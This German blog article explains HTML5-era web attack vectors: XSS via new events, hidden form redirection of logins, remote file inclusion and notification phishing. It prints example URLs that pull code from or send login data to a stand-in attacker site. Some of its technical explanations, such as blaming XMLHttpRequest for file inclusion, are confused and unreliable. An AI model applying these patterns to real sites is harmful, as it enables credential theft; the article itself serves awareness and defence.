HTML ist eine textbasierte Auszeichnungssprache und die wohl am meisten genutzte Markup-Sprache für die Erstellung von Webseiten. In der Version HTML5 sind viele nützliche Features hinzugekommen. Zu den wichtigsten Neuerungen gehören eine Grafikbibliothek, einfache Unterstützung multimedialer Inhalte, Geolocation, Drag & Drop-Funktionalität, sowie Web-Benachrichtigungen.
So mächtig die Neuerungen sind, so bringen sie auch Gefahren mit sich. Cyberkriminelle könnten diese neuen Funktionen missbrauchen und z.B. fremden Code in Webseiten einschleusen, Login-Formulare manipulieren oder Nutzer täuschen durch Phishing-Seiten. Wir zeigen Ihnen, anhand verschiedener Beispiele, wie solche Attacken aussehen könnten.
Botnet in the Browser
Eine gesonderte Gefahr geht von sog. BITB (Botnets in the Browser) aus. Die Infektion findet im Browser statt und wird dann in den Hauptspeicher verlagert, wodurch eine Erkennung durch dateibasierte Antiviren-Software erschwert wird. Auch Frühwarnsysteme wie IDS (Intrusion Detection System) im Netzwerk sind nahezu machtlos. Bots, die durch JavaScript verschleiert werden, sind auf allen Betriebssystemen und Geräten lauffähig. Oftmals wird ein schadhafter JavaScript-Code in eine Webseite eingeschleust und beim Besuch der Seite unwissentlich ausgeführt.
Cross-Site-Scripting
Erreicht wird dies durch XSS (Cross-Site Scripting), dem Anklicken einer Mail, Social Engineering oder anderen Methoden. Sicherlich ist XSS nicht neu, kommt hier aber verstärkt zum tragen. XSS kann z.B. in Webformularen mit Kommentarfunktionen eingesetzt werden. Hier kann, sollte keine entsprechende Filterung stattfinden, Scriptcode eingeschleust werden. Diese könnte so aussehen:

JavaScript Schadcode

Besucher, die diesen Kommentar lesen, führen diesen Script aus und loggen sich automatisch am Forum/Blog aus. Kriminelle hätten hier die Möglichkeit anderen schadhaften Code einzuschleusen. Die meisten Kommentarfelder hingegen erlauben nur die Buchstaben A-Z, a-z und Zahlen von 0-9. Eine weitere Möglichkeit für Webmaster ist die Blockierung von Tags wie “<script>”. Dass dies nicht sonderlich effektiv ist wird weiter unten deutlich.
Neue Events und Elemente
HTML5 bietet neue Angriffsvektoren, sodass veraltete Filterlisten keinen ausreichenden Schutz bieten. Tags wie <script> oder <img> lassen sich nach wie vor blockieren, jedoch benötigt HTML5 keine dieser Tags um für kriminelle Absichten genutzt werden. Neue Events wie z.B. “onerror” können dazu ausgenutzt werden JavaScript einzuschleusen. Beispiel:

JavaScript Schadcode (new Tag)

Obwohl manche Blacklist-Filter Events wie “Onload” oder “Onerror” blockieren, so sind damit noch längst nicht alle Möglichkeiten ausgeschlossen. HTML5 führt neue Elemente hinzu wie “onforminput”, “onunload” oder “formaction”. Diese lassen sich ebenfalls für böse Absichten ausnutzen. Beispiel:

JavaScript Schadcode (new Element)

Eine weitere Möglichkeit XSS durchzuführen war in älteren Versionen das “onmouseover” Event. Dieses selbstauslösende Event wird um das “onfocus” Event ergänzt.
Form
Bekanntermaßen müssen sich alle Elemente, wie z.B. Buttons oder Input-Felder innerhalb des “<form>” Tags befinden. In HTML5 ist dies nicht mehr Fall. Hier bekommt das Form eine ID zugewiesen. Alle referierenden Elemente tragen ebenfalls diese ID-Kennung (form=”idnummer”) und können beliebig auf der Seite positioniert werden.  Beispiel:

HTML5 Form

Dies bringt neben der Flexibilität zur Gestaltung der Webseite auch Risiken mit sich. Hat ein Angreifer Zugang zum Quellcode der Seite, so kann er seinen Code, der beim Absenden des Formulars mit ausgeführt wird, sehr gut verstecken und so z.B. Login-Informationen auf eine fremde Seite umleiten. Beispiel:

Manipulierter Quellcode (Quelle: trendmicro.com)

Klickt der Benutzer anstatt des Login-Buttons auf das Bild unten, so werden die Login Informationen an einen fremden Server versendet und landen in den Händen von Dritten.
XMLHttpRequest
Eine weiter Änderung in HTML5 betrifft die XMLHttpRequest() Funktion. XMLHttpRequest dient zum Austausch von beliebigen Daten über das http-Protokoll. Es ermöglicht aber auch eine sog. Remote File Inclusion. In der Vergangenheit war eine Umleitung bzw. Aufruf einer fremden Seite nur vom Stammverzeichnis aus möglich. Beispiel:

https://www.test.de/#index.php
https://www.test.de/index.php?page=example.php

Anhand des Beispiels sieht man, dass beim Aufruf der index.php, der Inhalt der Seite example.php mit geladen wird und in den Anzeigebereich der Seite index.php integriert wird. Die Änderungen in der Programmierschnittstelle XMLHttpRequest() erlauben nun auch das Einbinden von Dateien außerhalb des Stammverzeichnisses. Beispiel:

https://www.test.de/index.php?page=https://www.hackerseite.com/exploit.php

Angreifer haben so die Möglichkeit, Benutzer auf eine angreifbare Seite umzuleiten oder fremden Code auszuführen. Remote File Inclusion ist nicht die einzige Art, die über diese Änderung ermöglicht wird. Auch Cross-Site-Posting wird dadurch ermöglicht. So können sensible Informationen, wie z.B. Benutzerdaten an fremde Server weitergeleitet werden. Beispiel:

https://www.test.de/login.php
https://www.test.de/login.php#https://www.hackerseite.de/datenklauen.php

Web-/Desktop Benachrichtigung
Webbenachrichtigungen können Nachrichten über neue E-Mails oder andere Ereignisse auf einer Webseite sein. Diese Benachrichtigung wird außerhalb des Browsers angezeigt z.B. rechts unten oberhalb der Taskleiste. Beispiel:

E-Mail Benachrichtigung von Chrome (Quelle: trendmicro.com)

Um dies zu gewährleisten, muss zuerst das Einverständnis des Anwenders eingeholt werden:

Einverständnis zur Benachrichtigung (Quelle: trendmicro.com)

Ein simpler Code einer Benachrichtigung kann folgendermaßen aussehen:

Beispielcode (Quelle: trendmicro.com)

Auch hier bietet sich für Kriminelle ein weiterer Angriffsfläche. Es kann hier z.B. ein Eingabefeld für das erneute Einloggen des Webmail-Dienstes angefordert werden. Sensible Informationen wie Benutzerdaten (Passwörter) könnten entwendet werden. Unerfahrene Anwender denken, es handele sich entweder um eine Benachrichtigung eines Instant-Messaging-Dienstes oder des Betriebssystems. Diese Art von Phishing bietet für Kriminelle nahezu unbegrenzte Möglichkeiten zur Gestaltung und Aussehen der Benachrichtigung. Beispiel:

Phishing (Quelle: trendmicro.com)

In diesem Artikel haben wir Ihnen ein paar Neuerungen in HTML5 gezeigt und die damit verbundenen Angriffsmöglichkeiten für Kriminelle. Um sich zu schützen können Addons wie NoScript (Firefox) oder NotScript (Chrome) eingesetzt werden. Zudem sollten Anwender sehr aufmerksam beim Eingeben von persönlichen Informationen sein. Informieren Sie sich regelmäßig über neue Schwachstellen und Exploits in unserem Blog und seien Sie wachsam.

Halten Sie sich auf dem Laufenden und Besuchen Sie unsere Facebook-Seite